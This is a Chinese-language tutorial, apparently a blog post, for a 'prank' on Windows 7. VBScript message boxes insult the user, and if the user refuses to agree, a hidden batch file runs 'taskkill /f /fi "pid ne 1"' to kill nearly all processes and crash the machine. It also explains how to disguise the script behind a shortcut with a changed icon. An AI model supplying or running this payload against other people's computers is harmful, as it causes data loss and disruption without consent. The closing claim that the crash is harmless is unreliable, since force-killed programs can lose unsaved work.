VBS整人蓝屏代码（Windows 7 直接蓝屏，重启即可恢复，亲测有效！！）

蓝屏重点：在VBS输入整人代码，然后用VBS打开bat蓝屏文件

VBS框架：

msgbox" " 弹窗

createobject("wscript.shell").run "cmd /c start " 打开文件

inputbox(" ") 输入

dim 定义变量

1.

if MsgBox("这里是弹窗内容",vbYesNo,"这里是弹窗内容")=vbyes then

msgbox "这里是弹窗内容",64,"这里是弹窗内容"

else

msgbox "这里是弹窗内容",64,"这里是弹窗内容"
createobject("wscript.shell").run "cmd /c start 这里要填想要打开的文件路径"
end if

2.

dim a
a=InputBox("这里是弹窗内容")
if a="这里是要输入的内容"then
Msgbox"这里是弹窗内容",64,"这里是弹窗内容"
else
Msgbox"这里是弹窗内容",64,"这里是弹窗内容"
createobject("wscript.shell").run "cmd /c start 这里要填想要打开的文件路径"
end if

方法一：

**1. 在隐蔽的地方新建一个文本文档，改名叫蓝屏.bat，右键编辑，输入 **

**taskkill /f /fi "pid ne 1" **

taskkill /f /fi "pid ne 1"

保存。

2.再找一个文件夹，（或者就在bat文件的下面）新建一个文本文档，改名叫整人.VBS,右键编辑，输入

if MsgBox("你是傻逼吗？",vbYesNo,"警告！！")=vbyes then

msgbox "我擦你竟然是傻逼！！!",64,"哈哈哈哈~笑死我了！"

else

msgbox "还不承认!! 作为惩罚，蓝屏一下，你马上挂了#￥！@#￥%@……#……?",64,"严重警告!!!!!!!!!"
createobject("wscript.shell").run "cmd /c start K:\超级幻影编程\BAT\新建文件夹\蓝屏.bat"
end if

if MsgBox("你是傻逼吗？",vbYesNo,"警告！！")=vbyes then

msgbox "我擦你竟然是傻逼！！!",64,"哈哈哈哈~笑死我了！"

else

msgbox "还不承认!! 作为惩罚，蓝屏一下，你马上挂了#￥！@#￥%@……#……?",64,"严重警告!!!!!!!!!"
createobject("wscript.shell").run "cmd /c start K:\超级幻影编程\BAT\新建文件夹\蓝屏.bat"
end if

注意：中文部分是可以改的 ，start后面是蓝屏.bat文件的路径，msgbox弹窗可以自己增加。

3.（重要！）点击文件，另存为，把编码改为ANSI，保存。

4.（可弄可不弄）单击VBS文件，右键，单击发送到，桌面快捷方式，右键属性，更改图标，OK！

方法二：

1.同上

2.再找一个文件夹，（或者就在bat文件的下面）新建一个文本文档，改名叫整人.VBS,右键编辑，输入

dim a
a=InputBox("你是不是SB？！")
if a="是"then
Msgbox"我擦你竟然是傻逼！！!",64,"哈哈哈哈~笑死我了！"
else
Msgbox"还不承认!! 作为惩罚，蓝屏一下，你马上挂了#￥！@#￥%@……#……?还不承认!! 作为惩罚，蓝屏一下，你马上挂了#￥！@#￥%@……#……?",0,"严重警告!!!!!!!!!"
createobject("wscript.shell").run "cmd /c start K:\超级幻影编程\BAT\新建文件夹\蓝屏.bat"
end if

dim a
a=InputBox("你是不是SB？！")
if a="是"then
Msgbox"我擦你竟然是傻逼！！!",64,"哈哈哈哈~笑死我了！"
else
Msgbox"还不承认!! 作为惩罚，蓝屏一下，你马上挂了#￥！@#￥%@……#……?还不承认!! 作为惩罚，蓝屏一下，你马上挂了#￥！@#￥%@……#……?",0,"严重警告!!!!!!!!!"
createobject("wscript.shell").run "cmd /c start K:\超级幻影编程\BAT\新建文件夹\蓝屏.bat"
end if

3. 同上

4. 同上

这种蓝屏对电脑是无害的，重启一遍就好了。